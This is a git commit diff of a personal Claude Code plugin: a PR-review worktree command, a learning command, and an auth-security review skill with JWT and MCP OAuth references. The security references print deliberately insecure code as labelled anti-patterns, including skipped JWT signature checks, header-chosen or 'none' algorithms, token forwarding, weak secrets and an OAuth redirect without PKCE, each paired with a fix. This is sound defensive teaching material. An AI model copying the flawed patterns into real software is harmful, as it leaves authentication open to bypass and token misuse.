commit cc49e355bcd71ee4145496e9eed0d5f43fb8f081 Author: Zhongwei Li Date: Sat Nov 29 18:00:42 2025 +0800 Initial commit diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json new file mode 100644 index 0000000..109f3bd --- /dev/null +++ b/.claude-plugin/plugin.json @@ -0,0 +1,14 @@ +{ + "name": "bbrowning-claude", + "description": "Personal curated collection of Claude Code skills and commands for development, code review, and best practices", + "version": "1.0.0", + "author": { + "name": "Benjamin Browning" + }, + "skills": [ + "./skills" + ], + "commands": [ + "./commands" + ] +} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..45aa563 --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# bbrowning-claude + +Personal curated collection of Claude Code skills and commands for development, code review, and best practices diff --git a/commands/learn.md b/commands/learn.md new file mode 100644 index 0000000..40e9eb1 --- /dev/null +++ b/commands/learn.md @@ -0,0 +1,53 @@ +Review the conversation history and: + +1. Identify key learnings from this session$ARGUMENTS: + - Technical patterns discovered + - User corrections or guidance provided + - Task-specific approaches that worked + - Personal preferences or workflow patterns + +2. Ask the user where to save this learning: + + **Global** (`~/.claude/CLAUDE.md`) + - Personal coding preferences and style rules + - General development patterns you prefer across all projects + - Your workflow preferences + - Cross-language, cross-project knowledge + - **Applies to ALL repositories automatically** + + **Plugin Skill** (claude-builder plugin in this marketplace) + - Domain-specific expertise (e.g., PR review patterns, testing strategies) + - Shareable, reusable capabilities + - Structured knowledge for specific problem domains + - **Available wherever marketplace is installed** + + **Project-Local** (`.claude/CLAUDE.md` in current repo) + - This specific codebase's architecture patterns + - Project-specific conventions and decisions + - **Only applies to this repository** + +3. Based on the user's choice: + + **If Global:** + - Read `~/.claude/CLAUDE.md` + - Append the learning in a clear, concise format + - Organize under relevant sections (create if needed) + - Keep entries brief and actionable + + **If Plugin Skill:** + - Use the skill-builder skill to either: + - Update an existing skill if this relates to known domains + - Create a new skill if this is a new capability area + - Ensure the skill captures: + - Clear trigger conditions (when to use this skill) + - Specific technical details + - What didn't work and why + - The correct approach based on user feedback + - Save in the claude-builder plugin's skills directory + + **If Project-Local:** + - Read the project's `.claude/CLAUDE.md` (create if needed) + - Append the learning in a format consistent with the file + - Keep it specific to this codebase's patterns + +4. Confirm where the learning was saved diff --git a/commands/pr-review.md b/commands/pr-review.md new file mode 100644 index 0000000..ff79db0 --- /dev/null +++ b/commands/pr-review.md @@ -0,0 +1,89 @@ +--- +description: Review a pull request +allowed-tools: Read, Grep, Glob, Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh pr checks:*), Bash(gh pr checkout:*), Bash(git worktree:*), Bash(cd:*), Bash(pwd:*), Bash(ln:*), Bash(ls:*) +--- + +# Pull Request Review Setup + +Set up an isolated git worktree for reviewing the pull request specified by "$ARGUMENTS". + +## 1. Parse PR Reference + +Verify the user input matches one of these formats: +- `//pull/` +- `/#` +- Full github.com URL pointing to a specific pull request + +Extract the organization, repository, and PR number from the provided reference. + +## 2. Fetch PR Metadata + +Use `gh pr view` to get basic information about the PR: +```bash +gh pr view --repo / --json title,author,headRefName,baseRefName,state,isDraft +``` + +Confirm the pull request details with the user before proceeding. + +## 3. Create Isolated Git Worktree + +**Determine repository location:** +- Check if the repository exists locally (look in ~/src/, ~/repos/, user's configured paths) +- If not found, ask the user for the repository path or if they want to clone it first + +**Create worktree and checkout PR:** +```bash +cd +git worktree add ../-pr- -b review-pr- origin/main +cd ../-pr- +gh pr checkout --repo / +``` + +**Set up .claude configuration sharing:** +```bash +cd ../-pr- +# Check if .claude exists, if not create symlink to main worktree's .claude +if [ ! -e .claude ] && [ -d /.claude ]; then + ln -sf /.claude .claude +fi +``` + +## 4. Determine Relevant Skills for Handoff + +Before providing handoff instructions, identify which skills should be available in the new Claude Code session: + +1. **Repository-specific skills**: Check if there's a skill matching the repository (e.g., "llama-stack" for llamastack/llama-stack) +2. **Domain-specific skills**: Based on PR title/description, identify relevant skills (e.g., "auth-security" for authentication changes) +3. **pr-review skill**: Always relevant for the review workflow + +List all relevant skills to include in the handoff prompt. + +## 5. Provide Handoff Instructions + +**STOP HERE** and provide the user with instructions to start a new Claude Code session: + +``` +I've created an isolated git worktree for PR # (/): + +Location: + +To continue the review in a clean environment: + +1. Open a new terminal +2. cd +3. Start Claude Code: claude +4. In the new session, provide this prompt: + + Review PR # for /. I'm already in a git worktree with the PR checked out. Use the pr-review skill (and ) to perform a comprehensive review. Skip worktree setup and go directly to gathering PR context and analyzing changes. + +This ensures we review the correct code in isolation with proper context. +``` + +**Important**: Include ALL relevant skills in the handoff instructions so the new session has complete context. + +After the review is complete in the new session, remind the user to clean up the worktree: +```bash +cd +git worktree remove --force -pr- +git branch -D review-pr- +``` diff --git a/plugin.lock.json b/plugin.lock.json new file mode 100644 index 0000000..d7b4601 --- /dev/null +++ b/plugin.lock.json @@ -0,0 +1,177 @@ +{ + "$schema": "internal://schemas/plugin.lock.v1.json", + "pluginId": "gh:bbrowning/bbrowning-claude-marketplace:bbrowning-claude", + "normalized": { + "repo": null, + "ref": "refs/tags/v20251128.0", + "commit": "b41d020b1ba8e9497dd58022e2ef6f5ebca2e203", + "treeHash": "cbe1cbb0130bf401d30feacde2dfd73a1a0b06b36a907be5cb554e853e295959", + "generatedAt": "2025-11-28T10:14:13.292391Z", + "toolVersion": "publish_plugins.py@0.2.0" + }, + "origin": { + "remote": "git@github.com:zhongweili/42plugin-data.git", + "branch": "master", + "commit": "aa1497ed0949fd50e99e70d6324a29c5b34f9390", + "repoRoot": "/Users/zhongweili/projects/openmind/42plugin-data" + }, + "manifest": { + "name": "bbrowning-claude", + "description": "Personal curated collection of Claude Code skills and commands for development, code review, and best practices", + "version": "1.0.0" + }, + "content": { + "files": [ + { + "path": "README.md", + "sha256": "044696f4c2482fe0c502144a670511ee03873fa87ff95bd5d97aaac2d6517ba1" + }, + { + "path": ".claude-plugin/plugin.json", + "sha256": "a94dc7ccd6a543a66531b40e4682d8ee91730a49a33d8ceb479340aef27b53ac" + }, + { + "path": "commands/learn.md", + "sha256": "010afd8b2b666a0927c68ef75c1597d88b20176f94f13caee11ae827d233c07a" + }, + { + "path": "commands/pr-review.md", + "sha256": "8600337c15079b8ab28611b5cf69eb1850d5e33c9b6644b6dded6ca3bf30e89e" + }, + { + "path": "skills/openai-api-expert/SKILL.md", + "sha256": "a6acf48b5ef78d5345e4252a62d20d1bca1b2b0a862d3c76a49059afae9b87ca" + }, + { + "path": "skills/skill-builder/SKILL.md", + "sha256": "ec4fa3c15e341f30a09615b4bf7896280b39483a8ba19774efcd90026fa8e71c" + }, + { + "path": "skills/skill-builder/templates/skill-template.md", + "sha256": "f435087ac79587d2255bc0d5863ff6866c22710d718f386e5e34816a84cefe15" + }, + { + "path": "skills/skill-builder/reference/examples.md", + "sha256": "8fbdf11a7bf6ee2a08cd1cd20dd542fb3f8511b18f48b11186d7cf7e521a1f3f" + }, + { + "path": "skills/skill-builder/reference/best-practices.md", + "sha256": "950aed97b4b735832dfc8584e43ba47aeb7d35e943726e82cc56fdb1647f3ff5" + }, + { + "path": "skills/skill-builder/reference/skill-structure.md", + "sha256": "80b34adcba2f1750f157621fa7ababdc3d1b178b2a0878b09bb5f134e41d42cd" + }, + { + "path": "skills/skill-builder/reference/skill-review.md", + "sha256": "60d11c9c82bec8c298c4912e370837ab330526718df05ec1ce5f7fff8034b4a7" + }, + { + "path": "skills/auth-security/SKILL.md", + "sha256": "a6571ccf7f8b6b5a4153916377cdfeb8506aabd8d0c70b1a770aed628869b5f6" + }, + { + "path": "skills/auth-security/reference/mcp-authorization.md", + "sha256": "da85a94130fe82932f7504469239a8b33f3d4b8d09db851196b67c139ac747dd" + }, + { + "path": "skills/auth-security/reference/jwt-security.md", + "sha256": "8c943eb1f95cb70e91e12d4863f5ac1feef2e729c976def60d6403b350fa169d" + }, + { + "path": "skills/plugin-source-locator/SKILL.md", + "sha256": "346bf37d56669c9d9bef7b1b436038bf059cbae0a43350c7c2d1a3b7061f6db0" + }, + { + "path": "skills/llama-stack/SKILL.md", + "sha256": "d4dad760264dcf03cc9a1d08195a1cd4985887132ef16182e1c2d029cd9967ff" + }, + { + "path": "skills/plugin-builder/SKILL.md", + "sha256": "c21a7a76beef1ad028bde4149e6b079c8af02bc9044254d45942afb966c7576d" + }, + { + "path": "skills/plugin-builder/templates/plugin-minimal.json", + "sha256": "18a6402c84db21fce30c2ad9186ba6e5bb06b5c76fa9ae25dc843cae25b61abc" + }, + { + "path": "skills/plugin-builder/templates/plugin.json", + "sha256": "40d34b75551829b8a0ecb3dae6a32baa4dbae1e92dc3d9d6ebe1ced34995d85f" + }, + { + "path": "skills/plugin-builder/templates/README.md", + "sha256": "6d5dbafd544c426e51c067d0c74359d99f1f63648bcf01919df2e7424ecb4c52" + }, + { + "path": "skills/plugin-builder/templates/hooks.json", + "sha256": "cdeea7b46f57b37132f2156d11dd72edc355ee5651688d68432dbe04c07e89e6" + }, + { + "path": "skills/plugin-builder/reference/review-checklist.md", + "sha256": "1615b3bfa4cd6dc36cd351e858bb4bda40aa1bfe6c508476e1bdc5027b248592" + }, + { + "path": "skills/plugin-builder/reference/best-practices.md", + "sha256": "d83e61579ab17eeac246e161052b9caa61f7635119bb3ce06d435ae6570e0e76" + }, + { + "path": "skills/plugin-builder/reference/plugin-structure.md", + "sha256": "44124cbe4d9dd6c6d44f7cc419cff511c60baed362ae53a7efa9a0ab762efef9" + }, + { + "path": "skills/marketplace-builder/SKILL.md", + "sha256": "063483ddc002d97cd04101376b92f2ca48377cc23a746386bf5983fdcb0b93ba" + }, + { + "path": "skills/marketplace-builder/reference/best-practices.md", + "sha256": "bb563ccdee766dc079584f875a338b4c9d9593aacd78b5356031610855dd5cb0" + }, + { + "path": "skills/gpt-oss-troubleshooting/SKILL.md", + "sha256": "d2ad51ad4686f7917805f289dac208fecddaa94f13c6a518d2332a8b9a4352e9" + }, + { + "path": "skills/gpt-oss-troubleshooting/reference/tool-calling-setup.md", + "sha256": "5db5bb07659fac02ca0d2d5f4a0690057c999891fb8faa83eb98f38cf9708ca1" + }, + { + "path": "skills/gpt-oss-troubleshooting/reference/model-updates.md", + "sha256": "39fe0a4e5753957f6a5c2ab9a23b49674a27329ff4ca35e36a9b22161824d3ec" + }, + { + "path": "skills/gpt-oss-troubleshooting/reference/known-issues.md", + "sha256": "8fe47641d92b5d762986cbe6b574d56928ac117149ac6cd438112d3cc6651a61" + }, + { + "path": "skills/cross-repo-config/SKILL.md", + "sha256": "4e704a97a193d4d792240b68a6adc991150b606255983185cd174b2846ab7435" + }, + { + "path": "skills/version-control-config/SKILL.md", + "sha256": "1d83fbd0e121b2dcb77e716e0fdd975fb1c48d1db51d7434ea82560fe97b5d5d" + }, + { + "path": "skills/pr-review/SKILL.md", + "sha256": "c9a9a8d44e7dd0a4f1ed51bb2bcb056e14a0036715c729b48f750ac9f78cc2ef" + }, + { + "path": "skills/pr-review/templates/review-report.md", + "sha256": "98a2396da62b3f549cb6d84c997a2daebabc3f7ce6e6b570a074477606de88c5" + }, + { + "path": "skills/pr-review/reference/review-checklist.md", + "sha256": "de90605772fd17b67c5c6cfae02c71057febe48b6fa71bd87bed6939126bd95f" + }, + { + "path": "skills/pr-review/reference/severity-guide.md", + "sha256": "e94660530bd02ecc406f2fd8e38825cff1e7d9fa479b9070ddb546fffb4309f2" + } + ], + "dirSha256": "cbe1cbb0130bf401d30feacde2dfd73a1a0b06b36a907be5cb554e853e295959" + }, + "security": { + "scannedAt": null, + "scannerVersion": null, + "flags": [] + } +} \ No newline at end of file diff --git a/skills/auth-security/SKILL.md b/skills/auth-security/SKILL.md new file mode 100644 index 0000000..e15d9db --- /dev/null +++ b/skills/auth-security/SKILL.md @@ -0,0 +1,219 @@ +--- +name: Reviewing Authentication and Authorization Security +description: Use when reviewing authentication or authorization code. Provides comprehensive security guidance on JWT validation, token exchange, OAuth 2.0/2.1 compliance, PKCE, Resource Indicators, MCP authorization, session management, and API authentication. Covers critical vulnerabilities including token forwarding, audience validation, algorithm confusion, confused deputy attacks, and authentication bypass. Invoke when analyzing any authentication, authorization, or access control code changes. +--- + +# Authentication and Authorization Security Review + +This skill provides comprehensive security guidance for reviewing authentication and authorization code, with deep expertise in JWT tokens and MCP (Model Context Protocol) servers. + +## When to Use This Skill + +Invoke this skill when reviewing: +- JWT authentication or authorization implementation +- OAuth 2.0/2.1 flows and token handling +- Service-to-service authentication patterns +- MCP server implementations +- Code that forwards, exchanges, or validates tokens +- Authorization middleware or security filters +- API authentication endpoints +- Session management and cookie-based authentication +- API key or bearer token authentication +- Role-based access control (RBAC) or permission systems +- Multi-factor authentication (MFA) flows + +## Key Security Areas + +### 1. JWT Token Security + +For comprehensive JWT security guidance, see `reference/jwt-security.md`. Key areas: + +**Critical Vulnerabilities:** +- **Token Forwarding**: Never forward JWTs to services not in their audience claim +- **Audience Validation**: Every service MUST validate the `aud` claim +- **Algorithm Confusion**: Explicit algorithm enforcement (no `none`, no user-controlled) +- **Signature Validation**: All tokens must be cryptographically verified + +**Severity Levels:** +- CRITICAL: Token forwarding, missing signature validation, algorithm confusion +- HIGH: Missing audience/issuer validation, token exchange not used +- MEDIUM: Weak secrets, overly broad scopes, insecure storage + +**Correct Pattern - Token Exchange:** +When Service A needs to call Service B on behalf of a user: +1. Service A validates user's token +2. Service A exchanges token for Service B-specific token (RFC 8693) +3. Service A calls Service B with the exchanged token +4. Service B validates the token has correct audience claim + +**Review Checklist:** +- [ ] Audience validation for all services +- [ ] Explicit algorithm enforcement +- [ ] Signature validation present +- [ ] Token exchange used (not forwarding) +- [ ] Issuer validation against trusted sources +- [ ] Expiration and other claim validation +- [ ] Secure token storage (not in URLs or localStorage for sensitive data) + +### 2. MCP Server Security + +For comprehensive MCP authorization guidance, see `reference/mcp-authorization.md`. Key areas: + +**MCP Specification Requirements (June 2025):** +- **OAuth 2.1**: MUST use OAuth 2.1 (not 2.0) +- **PKCE**: Mandatory for all authorization flows +- **Resource Indicators (RFC 8707)**: Mandatory for explicit audience targeting +- **Audience Validation**: MCP servers MUST validate tokens are issued for them +- **No Sessions**: MUST NOT use session-based authentication for MCP operations + +**Critical MCP Vulnerability - Token Forwarding:** + +The most common and critical MCP security issue is forwarding user tokens from inference servers to MCP servers. + +``` +❌ INSECURE: +User → Inference Server (user JWT) → MCP Server (forwarded user JWT) +Problem: MCP server accepts token not issued for it (confused deputy attack) + +✅ SECURE: +User → Inference Server (user JWT) → Auth Server (token exchange) + → MCP Server (MCP-specific JWT) +Benefit: MCP token has correct audience claim and downscoped permissions +``` + +**Review Checklist:** +- [ ] OAuth 2.1 implementation (not 2.0) +- [ ] PKCE with S256 method in all flows +- [ ] Resource Indicators in token requests +- [ ] Audience validation matches MCP server identifier +- [ ] Token exchange for upstream service calls +- [ ] Scope validation with insufficient_scope responses +- [ ] No session-based authentication for MCP operations +- [ ] HTTPS/TLS for all communication +- [ ] Input validation for tool parameters (prompt injection protection) + +### 3. Common Security Anti-Patterns + +**Token Forwarding (CRITICAL):** +```python +# ❌ CRITICAL ISSUE +def call_api(user_token): + response = requests.get( + "https://other-service/api", + headers={"Authorization": f"Bearer {user_token}"} + ) +``` + +**Missing Audience Validation (CRITICAL):** +```python +# ❌ VULNERABLE +decoded = jwt.decode(token, public_key, algorithms=['RS256']) +# Missing audience validation! + +# ✅ SECURE +decoded = jwt.decode( + token, + public_key, + algorithms=['RS256'], + audience='https://api.myservice.com', + issuer='https://auth.example.com' +) +``` + +**Algorithm Confusion (CRITICAL):** +```python +# ❌ VULNERABLE +header = jwt.get_unverified_header(token) +decoded = jwt.decode(token, key, algorithms=[header['alg']]) + +# ✅ SECURE +decoded = jwt.decode(token, public_key, algorithms=['RS256']) +``` + +## Review Workflow + +### 1. Identify Security-Sensitive Code + +Scan for: +- JWT encoding/decoding operations +- OAuth flow implementations +- Token forwarding between services +- MCP server endpoints +- Authorization middleware +- API authentication handlers + +### 2. Apply Appropriate Checklist + +Use the checklists from: +- `reference/jwt-security.md` for JWT-related code +- `reference/mcp-authorization.md` for MCP server code + +### 3. Categorize Findings + +Follow the severity guide from the pr-review skill: +- **CRITICAL**: Security vulnerabilities, must block merge +- **HIGH**: Significant security issues, should fix before merge +- **MEDIUM**: Security improvements, should address +- **LOW**: Security suggestions, optional + +### 4. Provide Specific Guidance + +For each finding: +- Identify the specific vulnerability +- Explain why it's a security issue +- Reference the relevant RFC or standard +- Provide concrete code example of the fix +- Include file:line references + +## Key RFCs and Standards + +### JWT and OAuth +- **RFC 7519**: JSON Web Token (JWT) +- **RFC 8693**: OAuth 2.0 Token Exchange +- **RFC 8707**: Resource Indicators for OAuth 2.0 +- **RFC 9068**: JWT Profile for OAuth 2.0 Access Tokens +- **RFC 9700**: OAuth 2.0 Security Best Current Practice (January 2025) + +### MCP +- **MCP Authorization Spec** (June 2025): OAuth 2.1 for MCP +- **RFC 7636**: PKCE (mandatory for MCP) +- **OAuth 2.1**: Required authorization framework for MCP + +## When to Escalate + +Mark as CRITICAL and escalate if you find: + +**JWT Issues:** +- Tokens forwarded to services not in their audience +- Missing signature validation +- Algorithm confusion vulnerabilities +- No audience or issuer validation +- Tokens in URLs or logged in full + +**MCP Issues:** +- Token forwarding from inference/API servers to MCP servers +- Missing audience validation in MCP server +- No PKCE in authorization flows +- Missing Resource Indicators in token requests +- Session-based authentication for MCP operations +- MCP tools with code execution and no sandboxing +- HTTP (not HTTPS) in production + +## Validation + +Before completing security review, ensure: +- [ ] All JWT operations reviewed against JWT checklist +- [ ] All MCP operations reviewed against MCP checklist +- [ ] Token flow patterns verified (exchange vs. forwarding) +- [ ] Severity assigned to each finding +- [ ] Specific remediation guidance provided +- [ ] File:line references included +- [ ] RFC/standard references cited + +## Reference Documentation + +For detailed security guidance: +- **`reference/jwt-security.md`**: Comprehensive JWT security best practices, common vulnerabilities, and code examples +- **`reference/mcp-authorization.md`**: Complete MCP OAuth 2.1 implementation guide, architecture patterns, and security considerations + +These references contain detailed examples, vulnerability explanations, and implementation patterns. Consult them when you need deep technical context for security findings. diff --git a/skills/auth-security/reference/jwt-security.md b/skills/auth-security/reference/jwt-security.md new file mode 100644 index 0000000..f38c69c --- /dev/null +++ b/skills/auth-security/reference/jwt-security.md @@ -0,0 +1,382 @@ +# JWT Security Best Practices + +This reference provides comprehensive guidance for reviewing JWT (JSON Web Token) implementation and usage in pull requests. + +## Critical Security Principles + +### 1. Never Forward JWTs to Unintended Services + +**The Problem:** +A JWT contains an `aud` (audience) claim that specifies which service(s) the token is intended for. Forwarding a JWT to a service not listed in the audience claim creates serious security vulnerabilities. + +**Security Impact:** +- **Confused Deputy Attack**: The receiving service cannot verify that the forwarding service is authorized to act on behalf of the user +- **Privilege Escalation**: If the receiving service accepts tokens not intended for it, attackers can misuse tokens from one service at another +- **ALBEAST-Class Vulnerability**: Tokens intended for one tenant/service can be used at another + +**What to Look For in PRs:** +```python +# ❌ CRITICAL SECURITY ISSUE +def call_external_api(user_token): + # Forwarding user's JWT directly to third-party service + response = requests.get( + "https://third-party-api.com/resource", + headers={"Authorization": f"Bearer {user_token}"} + ) +``` + +**Severity:** CRITICAL - Must be blocked before merge + +### 2. Validate Audience Claims + +Every service that accepts JWTs **MUST** validate the `aud` claim matches its own identifier. + +**RFC Requirements:** +- Per RFC 7519: "Each principal intended to process the JWT MUST identify itself with a value in the audience claim" +- Per RFC 9068: "The resource server MUST validate that the aud claim contains a resource indicator value corresponding to an identifier the resource server expects for itself" +- **The JWT MUST be rejected if the audience does not match** + +**What to Look For in PRs:** +```python +# ❌ MISSING VALIDATION +def verify_token(token): + decoded = jwt.decode(token, public_key, algorithms=['RS256']) + # Missing audience validation! + return decoded + +# ✅ CORRECT VALIDATION +def verify_token(token): + decoded = jwt.decode( + token, + public_key, + algorithms=['RS256'], + audience='https://api.myservice.com' # Validates aud claim + ) + return decoded +``` + +**Severity:** CRITICAL if missing, HIGH if incomplete + +### 3. Validate All Critical Claims + +Beyond audience, validate: + +**Required Validations:** +- `iss` (issuer): Verify the token came from a trusted authorization server +- `aud` (audience): Verify the token is intended for this service +- `exp` (expiration): Reject expired tokens +- `nbf` (not before): Reject tokens used before their valid time +- `alg` (algorithm): Prevent algorithm confusion attacks + +**What to Look For in PRs:** +```python +# ❌ VULNERABLE TO ALGORITHM CONFUSION +def verify_token(token): + # Accepts ANY algorithm from the token header + decoded = jwt.decode(token, secret, algorithms=None) + +# ✅ CORRECT - EXPLICIT ALGORITHM +def verify_token(token): + # Only accepts expected algorithm + decoded = jwt.decode( + token, + public_key, + algorithms=['RS256'], # Explicit, not from token + issuer='https://auth.example.com', + audience='https://api.example.com' + ) +``` + +**Severity:** CRITICAL for algorithm validation, HIGH for other claims + +### 4. Use Token Exchange for Service-to-Service Communication + +When a service needs to call another service on behalf of a user, **use OAuth Token Exchange (RFC 8693)** rather than forwarding the original token. + +**The Correct Pattern:** +```python +# ✅ SECURE TOKEN EXCHANGE PATTERN +def call_downstream_service(user_token): + # Exchange user token for service-specific token + exchange_response = requests.post( + 'https://auth.example.com/token', + data={ + 'grant_type': 'urn:ietf:params:oauth:grant-type:token-exchange', + 'subject_token': user_token, + 'subject_token_type': 'urn:ietf:params:oauth:token-type:access_token', + 'resource': 'https://downstream-service.example.com', + 'scope': 'read:data' # Downscoped to minimum needed + } + ) + + downstream_token = exchange_response.json()['access_token'] + + # Use the service-specific token + response = requests.get( + 'https://downstream-service.example.com/api/resource', + headers={'Authorization': f'Bearer {downstream_token}'} + ) +``` + +**Benefits of Token Exchange:** +1. **Correct Audience**: New token has proper `aud` claim for downstream service +2. **Least Privilege**: Token is downscoped to minimum permissions needed +3. **Audit Trail**: Clear chain of delegation (user → service A → service B) +4. **Prevents Confused Deputy**: Downstream service can validate the token was properly issued + +**What to Look For in PRs:** +- Services forwarding user JWTs to other services without exchange +- Missing token exchange implementation where multi-service calls exist +- Tokens with overly broad scopes being passed between services + +**Severity:** CRITICAL in security-sensitive contexts, HIGH otherwise + +### 5. Apply Principle of Least Privilege + +**Scope Downscoping:** +When exchanging tokens, request only the minimum scopes needed for the specific operation. + +```python +# ❌ OVER-PRIVILEGED +exchange_data = { + 'scope': 'read write admin delete' # Too many permissions! +} + +# ✅ LEAST PRIVILEGE +exchange_data = { + 'scope': 'read:invoices' # Only what's needed +} +``` + +**Severity:** MEDIUM to HIGH depending on the over-privileging + +### 6. Secure Token Storage and Transmission + +**Transport Security:** +- JWTs MUST be transmitted over HTTPS only +- Never log full JWTs (mask them if needed for debugging) +- Never include JWTs in URLs (query parameters, path segments) + +**Storage Security:** +- Don't store JWTs in localStorage if they contain sensitive data (XSS risk) +- Consider httpOnly cookies for web applications +- Use secure, encrypted storage on mobile platforms +- Implement token refresh to minimize long-lived token exposure + +**What to Look For in PRs:** +```javascript +// ❌ SECURITY ISSUES +localStorage.setItem('token', jwt); // XSS vulnerability +console.log('Token:', jwt); // Logging sensitive data +const url = `/api/resource?token=${jwt}`; // Token in URL + +// ✅ BETTER PRACTICES +// Use httpOnly cookie or secure storage +document.cookie = `token=${jwt}; Secure; HttpOnly; SameSite=Strict`; +console.log('Token:', jwt.substring(0, 10) + '...'); // Masked logging +``` + +**Severity:** HIGH for URL exposure, MEDIUM for storage issues + +## Algorithm Confusion Attacks + +### The Vulnerability + +JWT headers include an `alg` parameter that specifies the signing algorithm. If the verification code doesn't enforce the expected algorithm, attackers can: + +1. Change RS256 (RSA) to HS256 (HMAC) +2. Use the RSA public key as the HMAC secret +3. Create validly-signed tokens + +**What to Look For in PRs:** +```python +# ❌ VULNERABLE +def verify_token(token): + # Algorithm taken from token header - DANGEROUS! + header = jwt.get_unverified_header(token) + alg = header['alg'] + decoded = jwt.decode(token, key, algorithms=[alg]) + +# ✅ SECURE +def verify_token(token): + # Algorithm explicitly specified and validated + decoded = jwt.decode( + token, + public_key, + algorithms=['RS256'] # Only RS256 accepted + ) +``` + +**Severity:** CRITICAL + +### None Algorithm Attack + +Some JWT libraries accept `"alg": "none"` which bypasses signature verification entirely. + +**What to Look For in PRs:** +```python +# ❌ VULNERABLE +jwt.decode(token, verify=False) # Dangerous! +jwt.decode(token, algorithms=['RS256', 'none']) # Allows none! + +# ✅ SECURE +jwt.decode(token, public_key, algorithms=['RS256']) +``` + +**Severity:** CRITICAL + +## Common JWT Anti-Patterns + +### 1. Treating ID Tokens as Access Tokens + +**Problem:** ID tokens (from OpenID Connect) are meant for the client that requested authentication, NOT for API authorization. + +```python +# ❌ WRONG +# Forwarding ID token to API +api_call(headers={'Authorization': f'Bearer {id_token}'}) + +# ✅ CORRECT +# Use access token for API calls +api_call(headers={'Authorization': f'Bearer {access_token}'}) +``` + +**Severity:** HIGH + +### 2. Missing Signature Validation + +**Problem:** Accepting unsigned JWTs or skipping validation. + +```python +# ❌ VULNERABLE +payload = jwt.decode(token, options={"verify_signature": False}) + +# ✅ SECURE +payload = jwt.decode(token, public_key, algorithms=['RS256']) +``` + +**Severity:** CRITICAL + +### 3. Trusting Token Content Without Validation + +**Problem:** Extracting claims before validating signature and claims. + +```python +# ❌ DANGEROUS +def get_user_id(token): + # Decodes without validation! + payload = jwt.decode(token, options={"verify_signature": False}) + return payload['user_id'] + +# ✅ SAFE +def get_user_id(token): + # Validates first, then extracts + payload = jwt.decode( + token, + public_key, + algorithms=['RS256'], + audience='https://api.example.com', + issuer='https://auth.example.com' + ) + return payload['user_id'] +``` + +**Severity:** CRITICAL + +### 4. Using Weak Secrets for HS256 + +**Problem:** Using predictable or weak secrets for HMAC signing. + +```python +# ❌ WEAK SECRET +secret = "secret123" +jwt.encode(payload, secret, algorithm='HS256') + +# ✅ STRONG SECRET +# Use cryptographically random, high-entropy secret +# At least 256 bits (32 bytes) for HS256 +import secrets +secret = secrets.token_bytes(32) +``` + +**Severity:** CRITICAL + +### 5. Overly Broad Audiences + +**Problem:** Using wildcard or overly generic audience values. + +```python +# ❌ TOO BROAD +token_data = { + 'aud': '*', # Accepts anywhere! + 'aud': 'https://example.com' # Too generic +} + +# ✅ SPECIFIC +token_data = { + 'aud': 'https://api.example.com/v1/orders' # Specific service +} +``` + +**Severity:** MEDIUM to HIGH + +## Review Checklist for JWT Code + +When reviewing PRs involving JWT authentication/authorization: + +### Critical Checks +- [ ] **Audience validation**: Every service validates `aud` claim matches its identifier +- [ ] **Algorithm enforcement**: Explicit algorithm list, no `none`, no user-controlled algorithm +- [ ] **Signature validation**: All tokens are cryptographically validated +- [ ] **Issuer validation**: `iss` claim validated against trusted issuers +- [ ] **No token forwarding**: Tokens are not forwarded to services not in their `aud` claim + +### High Priority Checks +- [ ] **Token exchange**: Service-to-service calls use token exchange, not forwarding +- [ ] **Expiration validation**: `exp` claim checked and enforced +- [ ] **Scope downscoping**: Exchanged tokens request minimum necessary scopes +- [ ] **ID token misuse**: ID tokens not used for API authorization +- [ ] **Transport security**: Tokens only transmitted over HTTPS + +### Medium Priority Checks +- [ ] **Least privilege**: Scopes are specific and minimal +- [ ] **Secure storage**: Tokens stored securely (not localStorage for sensitive data) +- [ ] **Token refresh**: Short-lived tokens with refresh mechanism +- [ ] **Logging safety**: Tokens not logged in full +- [ ] **Error messages**: Don't leak token information in errors + +### Code Pattern Recognition + +**Token Forwarding Pattern (Usually Wrong):** +```python +# Server receives user_token from client +# Server forwards user_token to another service +downstream_service.call(authorization=user_token) # ❌ Check this! +``` + +**Token Exchange Pattern (Usually Correct):** +```python +# Server receives user_token from client +# Server exchanges for service-specific token +new_token = auth_server.exchange_token(user_token, target_service) +# Server uses new token +downstream_service.call(authorization=new_token) # ✅ Good! +``` + +## Key RFCs and Standards + +- **RFC 7519**: JSON Web Token (JWT) - Core standard +- **RFC 8693**: OAuth 2.0 Token Exchange - Service-to-service delegation +- **RFC 8707**: Resource Indicators for OAuth 2.0 - Explicit audience specification +- **RFC 9068**: JWT Profile for OAuth 2.0 Access Tokens - Access token best practices +- **RFC 9700**: OAuth 2.0 Security Best Current Practice (January 2025) - Latest security guidance + +## When to Escalate + +Escalate to security team or mark as CRITICAL if you find: +- Tokens forwarded to services not in their audience +- Missing signature validation +- Algorithm confusion vulnerabilities (accepting `none` or user-controlled algorithm) +- Tokens containing sensitive data logged or exposed in URLs +- No audience or issuer validation +- Token exchange not used in multi-service architectures diff --git a/skills/auth-security/reference/mcp-authorization.md b/skills/auth-security/reference/mcp-authorization.md new file mode 100644 index 0000000..9967b49 --- /dev/null +++ b/skills/auth-security/reference/mcp-authorization.md @@ -0,0 +1,571 @@ +# MCP (Model Context Protocol) Authorization Security + +This reference provides comprehensive guidance for reviewing MCP server implementations with a focus on OAuth 2.1 authorization and security best practices. + +## Overview + +The Model Context Protocol (MCP) specification finalized OAuth 2.1-based authorization in June 2025. MCP servers represent high-value targets because they: +- Store authentication tokens for multiple services +- Execute actions across connected services +- Can be invoked by AI agents with varying levels of user oversight +- Potentially have access to sensitive data and operations + +**Key Security Principle:** MCP servers must implement strict authorization controls to prevent unauthorized access and token misuse. + +## MCP Authorization Requirements + +### 1. OAuth 2.1 Compliance (MANDATORY) + +The MCP specification requires OAuth 2.1 as the authorization foundation. + +**Core Requirements:** +- MUST use OAuth 2.1 (not OAuth 2.0) +- MUST implement PKCE (Proof Key for Code Exchange) for all clients +- MUST implement Resource Indicators (RFC 8707) +- MUST validate tokens with correct audience claims +- MUST NOT use sessions for authentication + +**What to Look For in PRs:** +```python +# ❌ NON-COMPLIANT - OAuth 2.0 without PKCE +@app.route('/authorize') +def authorize(): + redirect_uri = request.args.get('redirect_uri') + # Missing code_challenge and code_challenge_method + auth_code = generate_auth_code() + return redirect(f'{redirect_uri}?code={auth_code}') + +# ✅ COMPLIANT - OAuth 2.1 with PKCE 